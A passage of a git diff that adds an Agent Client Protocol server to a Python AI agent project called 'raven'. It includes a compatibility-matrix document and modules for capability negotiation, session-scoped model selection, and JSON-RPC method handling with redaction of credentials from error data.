draws or applies this content, so a redacted diff is a wrong diff -- it would show and could write `[redacted]` into the file. A diff of a credential file therefore publishes it. Recorded rather than fixed because the fix is to not send diffs for such files, which needs a rule about which files those are. | +| Model and reasoning text | Not redacted. It is the answer the person asked for, and a redactor cannot tell a quoted secret from a discussion of one. | +| **What is not caught** | A high-entropy string with no label and no vendor prefix. It is indistinguishable from a hash, a build id or a commit sha, and redacting those would break every row that legitimately shows one. This is not a secret scanner; containment is the sandbox's job. | + +## Filesystem and terminal + +| Surface | State | Notes | +|---|---|---| +| `fs/read_text_file` / `fs/write_text_file` | **Not called** | Declining to call a client capability is entirely conformant. The reason not to is the dirty-buffer problem below. | +| `terminal/*` | **Not called** | Raven runs commands through its own sandbox executor, which is where the approval check and the process-group kill live. Routing them through the client would move both outside Raven's control. | + +## The dirty-buffer problem + +This one has no fix, and is written down rather than worked around. + +`rpc/files.py` states Raven's invariant as *"the viewer may render exactly what +the agent may read"*. Against an editor that invariant does not hold: the model +reasons about the version on disk, and the person is looking at a modified +buffer. Symptoms: + +* `edit_file`'s exact `old_text` match fails on an edit that obviously should + apply, because the text the person can see was never saved; +* `write_file` silently overwrites unsaved work, and the diff it reports is + computed against the disk version, so the "before" shown is not the before the + person had. + +Reading through `fs/read_text_file` would fix the first symptom and make the +second worse: the agent would then read the buffer and write the file, so its +own read and its own write would disagree about what the file is. + +## Multiple windows + +An editor spawns one process per window, and each builds its own engine against +the same agent home. Several engines then run their own cron services and +compete for the browser profile lock. This is a consequence of the process +topology -- an ACP agent *is* a stdio child of the editor, so there is nothing to +mount onto -- and it is not solved. diff --git a/raven/acp/__init__.py b/raven/acp/__init__.py new file mode 100644 index 00000000..ce7ab5d7 --- /dev/null +++ b/raven/acp/__init__.py @@ -0,0 +1,39 @@ +"""Raven as an ACP agent: the stdio channel, and the protocol served over it. + +An editor spawns ``raven acp`` as a subprocess and speaks newline-delimited +JSON-RPC to its stdin and stdout. That makes fd 1 a wire rather than a console, +which is the constraint this package is organised around: :mod:`raven.acp.stdio` +makes the channel safe to speak on, and everything else speaks. + +The layers, outermost first: + +* :mod:`raven.acp.stdio` -- descriptors and framing. Knows nothing about ACP. +* :mod:`raven.acp.protocol` -- the wire helpers the agent direction needs, on top + of the framing already proven in :mod:`raven.agent.acp.protocol`. +* :mod:`raven.acp.capabilities` -- what this agent declares, and what the client + declared back. +* :mod:`raven.acp.updates` -- the outbound translator, which is also where a + session's turn state lives, because the turn's stop reason arrives on the event + stream rather than as a return value. +* :mod:`raven.acp.tool_kinds` -- classifying a tool call for a client that draws it. +* :mod:`raven.acp.outbound` -- requests this agent makes of the client, and the + answers coming back. Nothing in raven had this: the dispatcher is inbound-only + and ``send_frame`` is fire-and-forget. +* :mod:`raven.acp.permissions` -- the shell-approval round trip over + ``session/request_permission``. A second transport for raven's existing + approval decision, not a second decision. +* :mod:`raven.acp.redact` -- credentials out of anything on its way to the + client, because an ACP payload is rendered in an editor and often kept there. +* :mod:`raven.acp.methods` -- the inbound methods, each mapped onto an RPC call + that already exists. +* :mod:`raven.acp.server` -- one connection: its engine, its frame loop, its + teardown. + +The opposite direction -- raven spawning somebody else's ACP agent -- already +exists under :mod:`raven.agent.acp` and is not this. The two share only the wire +layer in :mod:`raven.agent.acp.protocol`, which is imported rather than copied. +""" + +from raven.acp.stdio import MAX_FRAME_BYTES, claim_stdout, read_frames, write_frame + +__all__ = ["MAX_FRAME_BYTES", "claim_stdout", "read_frames", "write_frame"] diff --git a/raven/acp/capabilities.py b/raven/acp/capabilities.py new file mode 100644 index 00000000..194da8d4 --- /dev/null +++ b/raven/acp/capabilities.py @@ -0,0 +1,180 @@ +"""What this agent tells the client it can do, and what the client told us. + +Both halves matter and only one of them is usually written. An agent that +declares a capability it does not serve produces the worst failure shape in the +protocol: the client routes work through a method that answers with an error, +and the turn stalls on a promise nobody will keep. So every flag here is false +unless something downstream actually honours it, and each one names what would +have to exist for it to flip. + +The inbound half is kept rather than read and dropped. ``ask_user`` has no tool +call to attach, and ``RequestPermissionRequest.toolCall`` is required, so the +routing decision for a bare question depends on whether the client declared +``elicitation`` -- a decision that cannot be made at the point of asking if the +declaration was thrown away at the handshake. +""" + +from __future__ import annotations + +from dataclasses import dataclass, field +from typing import Any + +from raven.acp import protocol + +# A sentinel for "the key was absent", distinguishable from a key present and +# null -- which the schema treats as absent too, but only after this check reads +# it as present. Both end up meaning unsupported; the sentinel is what keeps +# ``{}`` meaning supported. +_MISSING = object() + + +def _agent_info() -> dict[str, str]: + """Name and version, read from the installed distribution. + + Read rather than hardcoded so it cannot claim a version this build is not. + A source checkout with no distribution metadata reports ``0.0.0`` instead of + failing the handshake over a cosmetic field. + """ + from raven import __version__ + + return {"name": "raven", "version": str(__version__ or "0.0.0")} + + +def agent_capabilities() -> dict[str, Any]: + """The ``AgentCapabilities`` object sent in the initialize result.""" + return { + # The transcript is replayed as ``session/update`` notifications during + # the load, so a resumed session is drawn by the same client code as a + # live one. Declared true only because that replay exists -- the flag is + # a promise, and a client that reopens a session on a false promise shows + # an empty history for a conversation that has one. + "loadSession": True, + "promptCapabilities": { + # Images are turned into files and handed to the turn as media + # paths, which is the same road every channel's attachments take. + "image": True, + # No audio path exists on the prompt side at all. + "audio": False, + # An embedded text resource is inlined into the prompt. A binary one + # is named rather than decoded, which is a degradation and not a + # failure -- see updates/prompt content handling. + "embeddedContext": True, + }, + # Per-session MCP servers are refused explicitly rather than declared: + # the agent loop connects MCP once per process, lazily, and there is no + # mechanism for a session to bring its own. Declaring http/sse here + # would invite exactly the request that has to be refused. + "mcpCapabilities": {"http": False, "sse": False}, + # ``list`` only, and an empty object is how the schema spells "supported" + # for it. resume / close / delete / additionalDirectories stay undeclared: + # all four are stable, all four are objects rather than booleans, Zed uses + # none of them, and each one declared is a method that must then work. See + # the compatibility matrix. + "sessionCapabilities": {"list": {}}, + # No auth: authMethods is empty, so there is nothing to log out of + # either. Declaring auth.logout would put a method on the wire whose + # only honest answer is that there was no session to end. + "auth": {}, + } + + +def initialize_result(params: dict[str, Any] | None) -> dict[str, Any]: + """The full ``InitializeResponse`` for a client's initialize request. + + Tolerant by construction: unknown params are ignored rather than rejected, + and a ``protocolVersion`` of the wrong type is read for intent (see + :func:`raven.acp.protocol.negotiated_version`). The one thing this must not + do is fail -- a client that cannot complete initialize has no way to show a + person why, because every surface for saying so is on the far side of the + handshake. + + ``authMethods: []`` is a positive statement, not an omission: it says this + agent needs no authentication, which is what lets a client proceed straight + to ``session/new``. + """ + requested = (params or {}).get("protocolVersion") + return { + "protocolVersion": protocol.negotiated_version(requested), + "agentCapabilities": agent_capabilities(), + "authMethods": [], + "agentInfo": _agent_info(), + } + + +@dataclass +class ClientCapabilities: + """What the client declared it can do, as this agent will consult it. + + Stored as the raw object plus the handful of decisions that depend on it, so + a reader can see which flags are load-bearing without reading the whole + protocol. Everything defaults to "not declared", which is also what an + absent or malformed ``clientCapabilities`` yields -- a client that sends + garbage gets treated as a client that can do nothing, which is safe in the + only direction that matters. + """ + + raw: dict[str, Any] = field(default_factory=dict) + + @classmethod + def from_params(cls, params: dict[str, Any] | None) -> "ClientCapabilities": + declared = (params or {}).get("clientCapabilities") + return cls(raw=declared if isinstance(declared, dict) else {}) + + def _section(self, name: str) -> dict[str, Any]: + section = self.raw.get(name) + return section if isinstance(section, dict) else {} + + @property + def elicitation(self) -> bool: + """Whether the client declared the ``elicitation`` group at all. + + The whole reason the inbound half is stored. Without it, ``ask_user`` + has to be squeezed into ``session/request_permission`` with a + synthesised tool call, because that request requires one. + """ + return self.raw.get("elicitation") is not None + + @property + def elicitation_form(self) -> bool: + """Whether ``elicitation/create`` in form mode may be used. + + The narrower flag, and the one the question routing actually branches on. + A client can declare the group and support only ``url`` mode, which is for + sending somebody to a web page -- useless for asking a question. Reading + the group as sufficient would route every question into a mode the client + never claimed. + + Presence, not truthiness: the schema says ``{}`` explicitly advertises + form support, so a client declaring it with no options would read as no + support under a truthy check. + """ + declared = self._section("elicitation").get("form", _MISSING) + return declared is not _MISSING and declared is not None + + @property + def reads_files(self) -> bool: + """Whether the client offers ``fs/read_text_file``. + + Not called today -- raven reads through its own tools, and the + unsaved-buffer divergence that makes the client's copy more accurate is + also what makes it inconsistent with what the agent then edits. Recorded + so the compatibility matrix can state it as a choice rather than as an + omission. + """ + return bool(self._section("fs").get("readTextFile")) + + @property + def writes_files(self) -> bool: + """Whether the client offers ``fs/write_text_file``. Not called; see + :attr:`reads_files`.""" + return bool(self._section("fs").get("writeTextFile")) + + @property + def has_terminal(self) -> bool: + """Whether the client offers the ``terminal/*`` group. Not called: raven + runs commands through its own sandbox executor, which is where the + approval and the process-group kill live.""" + return self.raw.get("terminal") is not None + + +__all__ = ["ClientCapabilities", "agent_capabilities", "initialize_result"] diff --git a/raven/acp/config_options.py b/raven/acp/config_options.py new file mode 100644 index 00000000..afdcc1ed --- /dev/null +++ b/raven/acp/config_options.py @@ -0,0 +1,249 @@ +"""The model selector, as the protocol's stable configuration surface. + +``session/set_config_option`` is the channel, and the important thing about that +sentence is what it replaces: ``session/set_model`` does not exist in the stable +schema, and neither does ``models.availableModels``. Both appear in older +material and in some clients' expectations; an agent that waited for either would +never be asked to switch a model. The stable form is a generic option list where +one entry carries ``category: "model"``. + +Two facts about raven shape what is offered here, and both are stated in the +option's own ``description`` rather than only in a document, because the schema +declares that field as text for the client to display: + +* **The switch is scoped to the session.** ``config.set`` with a ``session_id`` + binds that session only and leaves ``agents.defaults`` alone, so a new session + still starts on the configured default. Every call from here carries the + ``sessionId`` the client addressed, which is what makes the scope the one the + protocol's shape implies -- and why the current value is read back per session + too, or a switch would apply and then be reported as the installation default. +* **A switch during a turn is not refused.** The running turn holds the binding + it started on for its whole tree, so the new model takes effect on that + session's next turn. Refusals that do happen -- an unbuildable provider, a + missing credential -- travel out with their own codes rather than flattened. + +Only ``category: "model"`` is exposed. Raven has other hot-changeable config, but +a selector for each would put a settings panel in an editor's session menu, and +the ones worth exposing there are the ones a person changes mid-conversation. +""" + +from __future__ import annotations + +from collections.abc import Awaitable, Callable +from typing import Any + +from loguru import logger + +MODEL_OPTION_ID = "model" + +# Said in the option itself, not just in the compatibility matrix: the schema +# declares ``description`` as text for the client to display, and this is the +# caveat a person needs at the moment they pick. +MODEL_DESCRIPTION = ( + "The model this session answers with. The change is scoped to this session and " + "leaves other sessions and the installation default alone. Changing it during a " + "turn is allowed: the turn in flight finishes on the model it started on, and " + "the next one uses the new choice." +) + +# A dropdown built from every configured provider's catalogue. Past this the list +# stops being a menu; providers with hundreds of ids exist, and a client +# rendering all of them is a client nobody can pick from. +MAX_MODELS_PER_PROVIDER = 40 + +Call = Callable[[str, dict[str, Any]], Awaitable[dict[str, Any]]] + + +async def model_option(call: Call, *, session_id: str | None = None) -> dict[str, Any] | None: + """The ``SessionConfigOption`` for the model, or ``None`` if there is none. + + ``None`` rather than an empty selector when no provider is configured: an + option whose list is empty is a dropdown a person can open and not choose + from, which reads as a broken menu rather than as "set this up first". + + ``session_id`` is what makes ``currentValue`` the model this session is on. + Asked without it, ``model.options`` answers from the installation default -- + so a session-scoped switch would apply and then be reported as though it had + not, which is worse than not offering the option at all. It is optional + because ``initialize`` has no session to ask about yet. + """ + try: + options = await call("model.options", {"session_id": session_id} if session_id else {}) + except Exception as exc: + # A missing or failing model surface is not a reason to fail the + # handshake or the session it was asked during. + logger.debug("acp: the model catalogue is unavailable: {}", exc) + return None + + current = _current_value(options) + groups = _groups(options, current_provider=_provider_of(options)) + if current and not _contains(groups, current): + # A dropdown whose current value is not among its options renders with + # nothing selected. That happens for real reasons -- a model configured by + # hand, one newer than the bundled catalogue -- so it is added rather than + # hidden. + groups.insert(0, {"group": "current", "name": "Current", "options": [{"value": current, "name": current}]}) + if not groups: + # Nothing configured and nothing in use. Checked *after* the current value + # is considered, because a working installation whose credentials come + # from the environment reports no provider as "authenticated" -- returning + # early on the group list alone hid the model that was actually running. + return None + return { + "id": MODEL_OPTION_ID, + "name": "Model", + "description": MODEL_DESCRIPTION, + "category": "model", + "type": "select", + "currentValue": current, + "options": groups, + } + + +async def set_model(call: Call, *, session_id: str, value: Any) -> None: + """Apply a model selection, letting the runtime's own refusals through. + + ``session_id`` scopes the switch to the session the client addressed, which + is the scope the protocol's per-session option list implies. + + ``config.set`` requires the provider as its own field and refuses to read one + off the value: ``openrouter`` serving ``anthropic/claude-haiku-4-5`` and + ``anthropic`` serving ``claude-haiku-4-5`` are both real, bill different + accounts, and a prefix is LiteLLM routing syntax rather than evidence about a + key. So it is looked up in the same catalogue the value was offered from, + rather than split off the string -- splitting would have named ``anthropic`` + for a model a gateway serves, which is the mistake the runtime's field exists + to prevent. + """ + if not isinstance(value, str) or not value: + raise ValueError("the model value must be a non-empty string") + provider = await _provider_for(call, value, session_id=session_id) + if not provider: + # Never guessed. A value this catalogue cannot place is one the client + # did not get from it, and inventing a provider here would spend a + # credential the person never chose. + raise ValueError(f"no configured provider offers the model {value!r}") + await call( + "config.set", + {"key": MODEL_OPTION_ID, "value": value, "provider": provider, "session_id": session_id}, + ) + + +async def _provider_for(call: Call, value: str, *, session_id: str) -> str: + """Which provider serves ``value``, according to the catalogue that offered it. + + The current provider wins a tie. Two providers can offer the same option + value -- a gateway passing through a vendor's already-qualified id -- and of + the two, the one already in use is the credential the person is running on. + """ + try: + options = await call("model.options", {"session_id": session_id}) + except Exception as exc: + logger.debug("acp: the model catalogue is unavailable: {}", exc) + return "" + current_provider = _provider_of(options) + if value == _current_value(options) and current_provider: + return current_provider + match = "" + for entry in (options or {}).get("providers") or (): + if not isinstance(entry, dict): + continue + slug = entry.get("slug") + if not isinstance(slug, str) or not slug: + continue + if not any(isinstance(m, str) and _qualified(slug, m) == value for m in entry.get("models") or ()): + continue + if slug == current_provider: + return slug + match = match or slug + return match + + +def _provider_of(options: Any) -> str: + if not isinstance(options, dict): + return "" + provider = options.get("provider") + return provider if isinstance(provider, str) else "" + + +def _current_value(options: Any) -> str: + if not isinstance(options, dict): + return "" + model = options.get("model") + provider = options.get("provider") + if not isinstance(model, str) or not model: + return "" + return _qualified(provider, model) + + +def _groups(options: Any, *, current_provider: str = "") -> list[dict[str, Any]]: + """One group per usable provider, each holding its models. + + "Usable" is ``authenticated`` **or** being the provider currently in use. + The second half is not a courtesy: ``authenticated`` reports whether raven's + own config holds a credential, and a working installation can be running on + one from the environment -- measured, on a machine where every provider + reported ``authenticated: false`` while ``anthropic/claude-opus-4-5`` was + answering. Filtering on that flag alone hid every model that worked. + + A provider that is neither is left out: its ids would be selectable and every + selection would fail on a missing credential, which is a dropdown that lies + about what it can do. + """ + if not isinstance(options, dict): + return [] + groups: list[dict[str, Any]] = [] + for entry in options.get("providers") or (): + if not isinstance(entry, dict): + continue + if not entry.get("authenticated") and entry.get("slug") != current_provider: + continue + slug = entry.get("slug") + if not isinstance(slug, str) or not slug: + continue + labels = entry.get("model_labels") if isinstance(entry.get("model_labels"), dict) else {} + models = [m for m in (entry.get("models") or ()) if isinstance(m, str) and m][:MAX_MODELS_PER_PROVIDER] + if not models: + continue + groups.append( + { + "group": slug, + "name": entry.get("name") if isinstance(entry.get("name"), str) and entry.get("name") else slug, + "options": [_option(slug, model, labels.get(model)) for model in models], + } + ) + return groups + + +def _qualified(provider: str, model: str) -> str: + """A model id naming its provider, without naming it twice. + + Measured, not defensive: the catalogue's own ids are *already* qualified + (``anthropic/claude-opus-5``), so prefixing unconditionally produced + ``anthropic/anthropic/claude-opus-5`` -- a value ``config.set`` would refuse + and a dropdown a person could not use. The fixtures used bare ids, so only the + real catalogue showed it. + + Qualified because that is how every other surface stores a selection, so the + value a client sends back is one ``config.set`` already understands. + """ + if not provider or "/" in model: + return model + return f"{provider}/{model}" + + +def _option(slug: str, model: str, label: Any) -> dict[str, Any]: + # The label is the visible name, and the bare tail is the fallback: showing + # ``anthropic/claude-opus-5`` inside a group already headed "Anthropic" says + # the same word twice. + option: dict[str, Any] = {"value": _qualified(slug, model), "name": model.rpartition("/")[2] or model} + if isinstance(label, str) and label and label != model: + option["description"] = label + return option + + +def _contains(groups: list[dict[str, Any]], value: str) -> bool: + return any(option.get("value") == value for group in groups for option in group.get("options", ())) + + +__all__ = ["MAX_MODELS_PER_PROVIDER", "MODEL_DESCRIPTION", "MODEL_OPTION_ID", "model_option", "set_model"] diff --git a/raven/acp/methods.py b/raven/acp/methods.py new file mode 100644 index 00000000..758b5e40 --- /dev/null +++ b/raven/acp/methods.py @@ -0,0 +1,864 @@ +"""The ACP methods raven answers, and how each maps onto an existing RPC call. + +Every handler here goes through ``Dispatcher.dispatch`` rather than importing the +handler it wants. That is deliberate: ``turn.send`` / ``turn.cancel`` / +``turn.subscribe`` / ``fs.upload`` are already assembled, already validated +against their pydantic models, and already carry the guards (model availability, +one turn per lane, the upload size limit) that a second call path would have to +grow its own copy of. The cost is one dict round trip per call, against a turn +that takes seconds. + +Two rules run through the whole file: + +* **Tolerant inbound.** Unknown params are ignored, a wrongly-typed + ``protocolVersion`` is read for intent, and an unknown method is *answered* + rather than dropped. The spec asks for this, and the failure it prevents is the + worst one available: a client left waiting on a promise nothing will resolve. +* **A prompt is never answered with a JSON-RPC error.** Whatever happens to the + turn -- refused before it started, failed halfway, cancelled -- the client gets + a ``stopReason``, with the explanation as message content. Measured on + codex-acp from the other direction: an error in reply to a turn-shaped request + makes clients tear down the whole turn. +""" + +from __future__ import annotations + +import base64 +import binascii +import mimetypes +from collections.abc import Callable +from itertools import count +from typing import Any +from urllib.parse import unquote, urlparse + +from loguru import logger + +from raven.acp import protocol, redact +from raven.acp.capabilities import ClientCapabilities, initialize_result +from raven.acp.config_options import MODEL_OPTION_ID, model_option, set_model +from raven.acp.replay import replay +from raven.acp.updates import AcpSession, TurnAlreadyRunningError, UpdateTranslator + +# Methods in the stable manifest that raven does not serve yet. Answered with +# method-not-found, which is the same answer an unknown name gets -- the +# distinction is kept here only so a reader can see the difference between "not +# in the protocol" and "not built yet". +UNIMPLEMENTED_METHODS = frozenset( + { + "session/set_mode", + "session/resume", + "session/close", + "session/delete", + "logout", + } +) + +# Notifications that are safe to receive and correct to ignore. ``$/cancel_request`` +# is protocol-level and explicitly optional: the spec says a receiver MAY act on +# it, and a request it would have cancelled is answered -32800 by whoever owns +# that request rather than here. +IGNORED_NOTIFICATIONS = frozenset({"$/cancel_request"}) + + +# Keys the internal dispatcher attaches that must not leave the process. The +# traceback tail is twelve lines of absolute paths -- and sometimes of argument +# values -- which is diagnostic on a log line and a disclosure in an editor's +# transcript. The reason string beside it is kept, because it is what a client +# can actually show. +_PRIVATE_ERROR_KEYS = frozenset({"traceback_tail", "traceback", "stack"}) + + +def sanitise_error_data(data: Any) -> Any: + """What may leave the process from an internal error's ``data``. + + Two removals, both measured. The traceback tail goes because every internal + dispatcher error carries one and it names the filesystem it ran on. Whatever + survives is then run through the redaction table, because an exception message + routinely quotes the argument that caused it -- and for ``exec`` that argument + is a command line. + """ + if not isinstance(data, dict): + return redact.redact_value(data) + kept = {key: value for key, value in data.items() if key not in _PRIVATE_ERROR_KEYS} + return redact.redact_value(kept) or None + + +class AcpMethodError(Exception): + """A JSON-RPC error to answer one request with.""" + + def __init__(self, code: int, message: str, data: Any = None) -> None: + super().__init__(message) + self.code = code + self.message = message + self.data = data + + +class AcpMethods: + """Answers inbound ACP frames against an assembled RPC stack. + + ``emit`` writes one finished frame and is used for the notifications a + handler produces on its way to an answer (the explanation that precedes a + failed turn's ``stopReason``). Responses travel back through the return + value instead, so the caller stays in charge of what goes on the wire for a + given request. + """ + + def __init__( + self, + *, + dispatcher: Any, + translator: UpdateTranslator, + emit: Callable[[dict[str, Any]], None], + agent_loop: Any = None, + outbound: Any = None, + questions: Any = None, + channel: str = "acp", + ) -> None: + self._dispatcher = dispatcher + self._translator = translator + self._emit = emit + self._agent_loop = agent_loop + self._outbound = outbound + self._questions = questions + self._channel = channel + self._ids = count(1) + self.initialized = False + self.client = ClientCapabilities() + + # -- frame handling --------------------------------------------------- + + async def handle(self, frame: dict[str, Any]) -> dict[str, Any] | None: + """Answer one inbound frame, or return ``None`` to stay silent. + + The request/notification split is on the *presence* of ``id``, not on its + truthiness. JSON-RPC says a notification is a frame with no ``id`` + member, so ``{"id": 0, ...}`` and ``{"id": null, ...}`` are requests -- + and a request that goes unanswered because its id happened to be falsy is + a hang with no diagnostic. + """ + if "method" not in frame: + # A response. It belongs to whoever sent the request, which is the + # outbound broker -- a permission prompt is the agent asking and this + # is the answer arriving. Unmatched is not an error: a client may + # answer something it invented, or a request this agent already timed + # out, and either way there is nothing to say back. + if self._outbound is not None and not self._outbound.resolve(frame): + logger.debug("acp: a response arrived for no outstanding request: id={}", frame.get("id")) + return None + method = frame.get("method") + is_request = "id" in frame + request_id = frame.get("id") + + if not isinstance(method, str): + if not is_request: + return None + return protocol.error_response(request_id, protocol.INVALID_REQUEST, "method must be a string") + + params = frame.get("params") + if params is not None and not isinstance(params, dict): + # ACP uses by-name params throughout; a positional array is legal + # JSON-RPC and unusable here, so say so rather than silently reading + # it as absent. + if not is_request: + return None + return protocol.error_response(request_id, protocol.INVALID_PARAMS, f"{method} params must be an object") + + try: + result = await self._route(method, params or {}, is_request=is_request) + except AcpMethodError as exc: + if not is_request: + logger.debug("acp: notification {} failed: {}", method, exc.message) + return None + return protocol.error_response( + request_id, exc.code, redact.redact(exc.message), sanitise_error_data(exc.data) + ) + except Exception as exc: + # The connection outlives one bad request. Without this the read loop + # dies on a handler bug and the client sees the agent vanish + # mid-turn, which is indistinguishable from a crash. + logger.exception("acp: {} raised", method) + if not is_request: + return None + return protocol.error_response( + request_id, + protocol.INTERNAL_ERROR, + f"{method} failed", + {"reason": redact.redact(str(exc)[:400])}, + ) + if not is_request: + return None + return protocol.result_response(request_id, result if result is not None else {}) + + async def _route(self, method: str, params: dict[str, Any], *, is_request: bool) -> Any: + if method == "initialize": + return self._initialize(params) + if method in IGNORED_NOTIFICATIONS: + return None + if not self.initialized: + # Nothing before the handshake, including session/new: the client's + # capabilities decide how questions are routed, and a session built + # without them would have to guess. + raise AcpMethodError( + protocol.INVALID_REQUEST, + "initialize must be called before any other method", + {"method": method}, + ) + if method == "authenticate": + # authMethods is empty, which is a statement that none is needed. + # A client calling this anyway is told what it declared, not given a + # method-not-found it would read as a version mismatch. + raise AcpMethodError( + protocol.INVALID_PARAMS, + "this agent advertises no authentication methods", + {"authMethods": []}, + ) + if method == "session/new": + return await self._session_new(params) + if method == "session/load": + return await self._session_load(params) + if method == "session/list": + return await self._session_list(params) + if method == "session/set_config_option": + return await self._set_config_option(params) + if method == "session/prompt": + return await self._session_prompt(params) + if method == "session/cancel": + return await self._session_cancel(params) + if method in UNIMPLEMENTED_METHODS: + raise AcpMethodError(protocol.METHOD_NOT_FOUND, f"{method} is not implemented") + raise AcpMethodError(protocol.METHOD_NOT_FOUND, f"unknown method {method}") + + # -- handlers --------------------------------------------------------- + + def _initialize(self, params: dict[str, Any]) -> dict[str, Any]: + """Answer the handshake and keep what the client declared. + + Re-initialising is allowed rather than refused. A client that renegotiates + is unusual, but the state this replaces is only the capability record, + and refusing would strand a client whose first attempt raced its own + setup. + """ + self.client = ClientCapabilities.from_params(params) + if self._questions is not None: + # Which route a question takes depends on what the client declared, + # and the declaration arrives here. Re-initialising is allowed, so + # this is a set rather than a one-time bind. + self._questions.set_client(self.client) + self.initialized = True + return initialize_result(params) + + async def _session_new(self, params: dict[str, Any]) -> dict[str, Any]: + """Mint a session pinned to the client's working directory.""" + self._refuse_per_session_mcp(params) + cwd = self._validated_cwd(params.get("cwd")) + session_key = f"{self._channel}:{_new_chat_id()}" + self._bind_workdir(session_key, cwd) + subscription_id = await self._subscribe(session_key) + session = AcpSession( + session_id=session_key, + session_key=session_key, + cwd=cwd, + subscription_id=subscription_id, + ) + self._translator.add(session) + logger.info("acp: session {} created at {}", session_key, cwd) + # The ACP sessionId *is* the raven session key. One identity rather than + # two: session/load and session/list both address raven sessions, and a + # second id space would need a map that survives a restart to be worth + # anything. + result: dict[str, Any] = {"sessionId": session.session_id} + # Offered at creation so a client can put a model picker in the session + # menu without a second round trip. Absent rather than empty when there + # is nothing to offer -- an empty list is a menu that opens onto nothing. + options = await self._config_options(session.session_key) + if options: + result["configOptions"] = options + return result + + async def _session_load(self, params: dict[str, Any]) -> dict[str, Any]: + """Reopen a stored session, replaying it as it is loaded. + + Not a getter: the transcript goes out as ``session/update`` notifications + *before* this returns, so a resumed session is drawn by the same client + code that draws a live one. + + The existence check is this agent's own, because ``session.resume`` is + forgiving in a way the protocol is not: an unknown id makes it mint a + fresh session and answer with that. Comparing the id it returns against + the one asked for is what turns that into ``-32002``, and the distinction + matters -- a client silently handed a new session shows a person an empty + transcript for a conversation that had one. + """ + self._refuse_per_session_mcp(params) + cwd = self._validated_cwd(params.get("cwd")) + session_id = params.get("sessionId") + if not isinstance(session_id, str) or not session_id: + raise AcpMethodError(protocol.INVALID_PARAMS, "sessionId is required", {"field": "sessionId"}) + + result = await self._call("session.resume", {"session_id": session_id}) + if result.get("session_id") != session_id: + raise AcpMethodError(protocol.RESOURCE_NOT_FOUND, "unknown session", {"sessionId": session_id}) + + # The working directory comes from the client, not from what was stored: + # a project moves, and the session's turns have to run where the editor + # has it open now. Bound before the branch and not inside it, because it + # is just as true of the second load as of the first -- and it is this + # metadata, not ``AcpSession.cwd``, that ``WorkdirResolver`` reads when a + # tool decides where to run. + self._bind_workdir(session_id, cwd) + session = self._translator.get(session_id) + if session is None: + session = AcpSession( + session_id=session_id, + session_key=session_id, + cwd=cwd, + subscription_id=await self._subscribe(session_id), + ) + self._translator.add(session) + else: + # Loading a session this connection already holds. Its stream is + # already live, so re-subscribing would leave two mappings to one + # session and double every later frame. + session.cwd = cwd + + updates = replay(result.get("messages"), session_id=session_id, cwd=cwd) + for update in updates: + self._emit(protocol.notification("session/update", {"sessionId": session_id, "update": update})) + logger.info("acp: replayed {} update(s) for {}", len(updates), session_id) + return {} + + async def _session_list(self, params: dict[str, Any]) -> dict[str, Any]: + """The sessions this agent can reopen, newest first. + + Read from the session manager rather than through ``session.list``, for + one reason: ``SessionInfo.cwd`` is required by the schema and that + method's wire shape does not carry it -- the directory lives in the + stored metadata, which its mapper drops. Reaching past it avoids changing + a shape the terminal client already consumes. + + A session with no recorded working directory is skipped rather than given + a guessed one. The count is logged: a listing quietly shorter than the + session directory is the kind of thing nobody notices until they go + looking for a conversation. + """ + wanted = params.get("cwd") + entries = self._stored_sessions() + out: list[dict[str, Any]] = [] + skipped = 0 + for entry in entries: + metadata = entry.get("metadata") if isinstance(entry.get("metadata"), dict) else {} + key, workdir = entry.get("key"), metadata.get("workdir") + if not isinstance(key, str) or not key or not isinstance(workdir, str) or not workdir: + skipped += 1 + continue + if isinstance(wanted, str) and wanted and workdir != wanted: + continue + info: dict[str, Any] = {"sessionId": key, "cwd": workdir} + title = metadata.get("title") + if isinstance(title, str) and title: + info["title"] = title + updated = entry.get("last_user_message_at") or entry.get("updated_at") + if isinstance(updated, str) and updated: + info["updatedAt"] = updated + out.append(info) + if skipped: + logger.info("acp: {} stored session(s) have no recorded working directory and were omitted", skipped) + # No ``nextCursor``: raven's listing is not paginated, so every session + # that matched is in this response. The field is nullable, and omitting it + # says "there is no more" rather than "ask again". + return {"sessions": out} + + def _stored_sessions(self) -> list[dict[str, Any]]: + """This channel's stored sessions, newest activity first. + + Sorted here because the manager returns them in directory order, and a + picker that is not ordered by last activity is a picker nobody can find + anything in. Without an engine there is no shared manager, and a fresh one + caches nothing -- so the answer is an empty list rather than a listing + built from an object that is about to be discarded. + """ + if self._agent_loop is None: + return [] + from raven.config import load_config + from raven.rpc.methods.session import _manager_for + + try: + entries = _manager_for(self._agent_loop, load_config()).list_sessions(channel=self._channel) + except Exception: + logger.exception("acp: listing stored sessions failed") + return [] + entries = [entry for entry in entries if isinstance(entry, dict)] + entries.sort(key=lambda e: str(e.get("last_user_message_at") or e.get("updated_at") or ""), reverse=True) + return entries + + async def _set_config_option(self, params: dict[str, Any]) -> dict[str, Any]: + """Apply one configuration option and answer with the full current set. + + The response carries every option, not just the one that changed, because + the schema requires it -- and because applying one can change another's + current value. + + The runtime's own refusals travel out with their codes intact: -32009 for + a switch attempted during a turn is something a client can act on, and + flattening it to an internal error would leave a person retrying a thing + that will keep failing for a reason nobody told them. + """ + session = self._session_for(params) + config_id = params.get("configId") + if config_id != MODEL_OPTION_ID: + raise AcpMethodError( + protocol.INVALID_PARAMS, + f"unknown configuration option {config_id!r}", + {"field": "configId", "supported": [MODEL_OPTION_ID]}, + ) + try: + await set_model(self._call, session_id=session.session_key, value=params.get("value")) + except ValueError as exc: + raise AcpMethodError(protocol.INVALID_PARAMS, str(exc), {"field": "value"}) from exc + return {"configOptions": await self._config_options(session.session_key)} + + async def _config_options(self, session_id: str | None = None) -> list[dict[str, Any]]: + """Every configuration option this agent exposes, currently one. + + ``session_id`` is threaded through so the model's ``currentValue`` is the + one this session runs on: the switch is session-scoped, so answering from + the installation default would report a change that had already applied + as though it had not. + """ + option = await model_option(self._call, session_id=session_id) + return [] if option is None else [option] + + async def _session_prompt(self, params: dict[str, Any]) -> dict[str, Any]: + """Run one turn and answer with its stop reason. + + The answer comes from the translator's future, which the outbound event + stream resolves -- so every update belonging to this turn is on the wire + before this returns. + """ + session = self._session_for(params) + text, media, notes = self._read_prompt(params.get("prompt")) + for note in notes: + logger.info("acp: prompt content degraded: {}", note) + if not text.strip() and not media: + # Nothing to send. Answering end_turn is the honest reading: the + # client asked for a turn on an empty prompt, and no turn ran. + return {"stopReason": "end_turn"} + + if session.subscription_id is None: + # The session's stream was closed out from under it (an overflow), so + # it is bound to no live subscription. 